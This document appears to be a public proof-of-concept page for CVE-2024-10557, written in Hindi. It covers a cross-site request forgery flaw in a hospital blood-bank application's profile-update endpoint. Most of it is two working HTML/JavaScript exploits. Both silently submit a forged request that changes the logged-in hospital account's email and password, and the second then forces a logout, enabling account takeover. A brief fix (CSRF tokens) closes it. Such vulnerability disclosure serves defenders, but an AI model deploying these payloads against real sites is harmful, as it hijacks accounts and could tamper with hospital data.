bevennyamande/cve-2024-10557एक अस्पताल के प्रोफाइल को अपडेट करने के लिए CSRF POC जो खाता अधिग्रहण की ओर ले जाता है
/file/updateprofile.phpइस एंडपॉइंट /file/updateprofile.php पर एक CSRF भेद्यता है जो एक दूरस्थ उपयोगकर्ता को अस्पताल के उपयोगकर्ता विवरण अपडेट करने की अनुमति देती है और खाता अधिग्रहण का कारण बन सकती है क्योंकि हमलावर ईमेल से लेकर पासवर्ड तक सभी जानकारी अपडेट कर सकता है, जिससे खाता अधिग्रहण की संभावना प्रभावी रूप से बढ़ जाती है।
सफल शोषण पीड़ित की ओर से अनधिकृत कार्यों यानी डेटा हटाने का कारण बन सकता है। इसके अतिरिक्त, पेलोड के साथ दुर्भावनापूर्ण वेबसाइटों पर जाकर इसका शोषण किया जा सकता है।
नीचे एक CSRF POC हमले का उदाहरण दिया गया है जो लॉग इन किए गए अस्पताल खाते के प्रोफ़ाइल विवरण अपडेट करता है, फ़ाइल को हमलावर-नियंत्रित डोमेन पर होस्ट करें, मेरे मामले में मैं localhost का उपयोग कर रहा था:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF PoC with Logout Redirect</title>
</head>
<body>
<h2>CSRF Proof of Concept with Chained Logout</h2>
<!-- Form to exploit CSRF vulnerability for updating profile -->
<form id="csrfForm" action="http://localhost.local/bloodbank/file/updateprofile.php" method="POST">
<input type="hidden" name="hname" value="parirenyatwa">
<input type="hidden" name="hemail" value="[email protected]">
<input type="hidden" name="hpassword" value="pari1234">
<input type="hidden" name="hphone" value="0777054000">
<input type="hidden" name="hcity" value="harare">
<input type="hidden" name="update" value="Update">
</form>
<script>
// Submit the CSRF form to update profile
document.getElementById("csrfForm").submit();
</script>
</body>
</html>
लॉगआउट CSRF को मजबूर कर सकता है जिससे खाता अधिग्रहण प्राप्त होता है।
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF PoC with XMLHttpRequest</title>
</head>
<body>
<h2>CSRF Proof of Concept with XMLHttpRequest and Redirect</h2>
<script>
// Define the target URLs for the CSRF attack
const updateUrl = "http://localhost.local/bloodbank/file/updateprofile.php";
const logoutUrl = "http://localhost.local/bloodbank/logout.php";
// Data for the profile update CSRF request
const updateData = "hname=parirenyatwa&hemail=pari%40hospital.co.zw&hpassword=pari1234&hphone=0777054000&hcity=harare&update=Update";
// Function to send the XMLHttpRequest
function sendCSRFUpdate() {
const xhr = new XMLHttpRequest();
xhr.open("POST", updateUrl, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
// When the request is complete, redirect to the logout page
xhr.onload = function() {
if (xhr.status === 200) {
console.log("Profile update CSRF request completed");
// Redirect to logout URL to log the victim out
window.location.href = logoutUrl;
} else {
console.error("Profile update failed with status:", xhr.status);
}
};
// Send the request with the update data
xhr.send(updateData);
}
// Trigger the CSRF attack by sending the update request
sendCSRFUpdate();
</script>
</body>
</html>
csrf टोकन डालें और साथ ही GET अनुरोधों को स्थिति-बदलने वाली कार्रवाई करने से बचें।